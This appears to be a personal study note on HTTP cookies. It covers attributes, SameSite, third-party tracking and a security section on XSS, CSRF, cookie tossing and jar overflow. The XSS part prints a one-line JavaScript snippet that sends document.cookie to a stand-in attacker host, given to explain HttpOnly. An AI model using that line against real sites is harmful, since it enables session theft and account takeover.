tags : Web Authentication, Web Development, Web Storage, HTTP, Security, Identity Management

“I give him a packet, he gives me back a cookie.” The claim check you get from a dry-cleaning shop is a perfect mundane example of a cookie; the only thing it’s useful for is to relate a later transaction to this one (so you get the same clothes back).

FAQ

History?

Limitations on cookies?

  • How many cookies are allowed per origin
  • How much space these cookies can use on the disk.

When to use?

Don’t

  • Don’t use cookies for storing preference data in the browser (Cookies sent on every HTTP request, makes no sense sending what theme the user wants locally to the server on every req.)
  • Even though its possible to create cookies client side, not a good idea to use them for storage. Use Web Storage instead.
  • These mean nothing to the recipient, more only for server side. So better to use cookies to maintain state for sever and client rather than use cookies to maintain client state.

Do

  • Do preserve shared state b/w client/server across page navigation
  • OK to use for storing auth token etc. See Web Authentication

SameSite vs 3rd party

  • These are not related.
  • SameSite is for CSRF protection. It’s about preventing “sending” of cookies.
  • 3rd party cookies is more about allowing a 3rd party to “create” cookie while you’re in a 1st party website eg. loading image from a 3rd party.

Origin domain vs Domain attribute vs Effective domain

  • Origin domain : Domain of the originating request.
  • Domain: This is the attribute that is set via Set-cookie
  • Effective domain: This is the interpretation of Domain (Browser specific)
  • CORS
  • flags: HttpOnly + Secure + SameSite + Max-Age + cookie prefixes

Identity

  • 4 identifying characteristics: key=value, domain, path, secure
  • So if server sends, name=A,d,p,s and then again name=A,d,p,ss, we’ll have 2 cookies in the client w name=A and it’ll be sent to the origin on each request.
  • This can result in cookie tossing

Creating

Cookies can be created both in the client as well in the server.

server-side

  • Set via Set-cookie response header
  • Allows HTTP to be stateful in a way
  • server-side cookies is the usual case.
  • Cookies used for session management are created in the server. Sometimes these are called server-side cookies.
  • These are also validated in the server.

client-side

  • Client side cookie creation example. (even if possible, don’t use cookies to store data for client side apps). Using document.cookie

Configuration

There is no configuration as such, I just think it’s a nice way to think about it.

Attributes

Domain

You can set which domains it should be set for.

  • What it can be
    • domain= (not set) will set for only domain that sent the Set-cookie response. ( THIS IS THE CORRECT WAY TO SCOPE )
    • domain=.example.com will set for all subdomains and itself.
    • domain=example.com will set for all subdomains and itself. ⚠
      • Browsers will automatically convert this to domain=.example.com and will work the same.
      • So there’s the Domain attribute that is being sent by then there’s effective domain that the browser applies on the cookie. In this case browsers will alter this.
  • What it cannot be
    • You can’t manually set a cookie for a top level domain. The . will always be set by the browser. If you want to set for the origin, just don’t specify domain
    • originating sever can only set cookies for itself and of a parent domain domain unless tld/public suffix.
    • Eg. geekodour.org can’t set for google.com
    • Eg. play.geekodour.org can set for geekodour.com

Path

  • Send cookies when this path matches
  • When sending the cookies to the origin, it’s sent in an order. Cookies with more specific paths are ordered first.

Expires/Max-Age

SameSite

  • This is new thing. was not there popularly till 2019.
  • Allows you to configure if the cookie gets sent to the effective domain if link was clicked on another site(cross-site).
  • SameSite:None is not uncommon and some sites usually need it. Eg. If SameSite:Strict on youtube, if you click on YT from google search results, even if you’re logged in it’ll not send your cookies and will show logged out. Only in reload it’ll log you back in.
  • Strict

    • Only same-site exact match.
    • Directly put on browser URL.
    • Ideal for banks to use this, but usually extra for most cases
  • Lax

    • Current browser default, if nothing is set
    • Will send if the clicked link(on cross-site) is a browser URL changing GET/HEAD request.
    • Cookies will not be sent when used with CSRF-prone request such as POST.
    • Cookies will not be sent when request is something like iframe, img src etc.
  • None

    • Cross site cookies allowed, no restrictions.
    • But you must always use this with secure flag.

Flags

  • Secure
    • HTTPS only
  • HTTPOnly
    • When we don’t want JS to have access to our cookies

Prefixes

Current browser defaults

  • Cookies w/o a SameSite will be set SameSite=Lax
  • Cookies w SameSite=None must also specify Secure

What’s the process?

  • When the browser initially gets a response w Set Cookie, it’ll set/create the cookie for you and set the effective domain.
  • After that, browser will send those cookies back to the effective domain/path on every request. (That’s the cookie policy)
  • Only the k=v is sent in the request, attributes such as domain, path etc are not sent to the server.

More on browser sending cookies on every request

  • Yes they’re sent to the origin for ANY request. image, text, iframe, anything.
  • This is why it’s recommended to serve static assets from a no-cookie domain to save bandwidth.
  • We can however control whether to send cookies or no with path, same-site attribute etc.
  • There are also other things such as setting anonymous on script load etc.
  • same-site is not involved here.
  • Cookie policy: Will send cookies to effective domain only
  • Same origin policy: When HTTPOnly not set, only a.com will only have access to cookies of a.com and never of b.com
  • See CORS

Types

  • This distinction is based on the “current” page being viewed.
  • This distinction is browser side, the server/origin has no notion of 1st party/3rd party.

1st party

Cookies that match the domain of the current site are referred to as first-party cookies.

3rd party

  • Disabled by firefox by default. AKA cross-site cookies
  • cookies set by a website other than the one you are currently on
  • If you load assets from Y.com in X.com, if Y.com is sending set-cookie, your browser will add Y.com cookies while you’re in X.com.
  • Anytime you load anything from Y.com now, the cookies set previously by Y.com will be sent to Y.com allowing Y.com to track you.
  • They can come in many shapes and sizes, <link>,<script>,<object>,<iframe>
  • Using HTTP referrer header Y.com might also be able to track which websites you visiting.

Disabling 3rd party cookies

  • Even if in websites you click “do not accept cookies”, the website might still do it behind the scenes so the safest thing to do is block 3rd party cookies in the browser settings. In that case even if you allow, they won’t be able to track 3rd party cookies

Security

XSS

  • Cookie can be accessed using Javascript
    new Image().src = `http://evil.co/steal.php?cookie=${document.cookie}`;
  • HTTPOnly cookie can help in making sure that JS can’t access(r/w) the cookie. It’ll only be sent back and forth between the server.
  • But even after using HTTPOnly, the attacker can still make request to legit server which uses those cookies. At which point you’re f’ed. So just make sure attacker can’t run JS inside ur application. But atleast they won’t be able to login to the user account themselves because they’ll never have access to the cookie.

CSRF

  • If you’re on X.com and you have some cookies from fb.com. X.com has some link to fb.com. When you click on that link, your browser will send your fb.com cookies to fb.com when you click it.
  • So if they have a malicious crafted url, eg. fb.com/deleteaccount, since it’ll send your cookie along w, bad things can happen.
  • SameSite can help make things better here

Session Hijacking

  • If using over HTTPS, usually this can’t happen
  • We can also use a session key(might be combo of IP+time of login+device etc). So if attacker logins from diff. machine all other creds will be correct but duplicating the session key will be hard for them.
  • Inject a totally new cookie name=value pair into other domains.
  • Now shared subdomains are vulnerable by design
  • Eg. you.github.io, notyou.github.io now by using the domain attribute for all subdomains you can set a cookie for notyou.github.io! Set it a large enough cookie and you have a cookie bomb. This is prevented by the public suffix list.
  • Also this means you can’t set cookies on TLDs (See DNS). But there are certain TLDs such as .com.tw which are confusing if its TLD or not. The publicsuffix list also keeps track of these.
  • Inject our data into an existing cookie into domain/subdomains.
  • This can result in client-side DoS by injecting a big cookie and then the origin server will reject the cookie based on request header.

  • Yummy cookies across domains
  • Same name, different value
  • a.cool.com can set cookie on b.cool.com
  • b.cool.com has a cookie x=y
  • a.cool.com can set a cookie x=z for b.cool.com because of cookie identity is based on the tuple thing.
  • When we go b.cool.com, origin will get x=y and x=z both. And server has no idea what is what anymore. The ordering of cookies come into play here. Usually the cookie created earlier takes initial positions. So forced duplicate cookies are placed later.
  • This can allow us to bypass HTTPOnly flag, because for sure we won’t have access to the original cookie from JS but if we have XSS on a subdomain, we can create another cookie with the same name and different attributes.
  • Because browser will clear cookies if it hits limit
  • We can create junk cookies and overflow the HTTPOnly cookie even if we don’t have direct access to it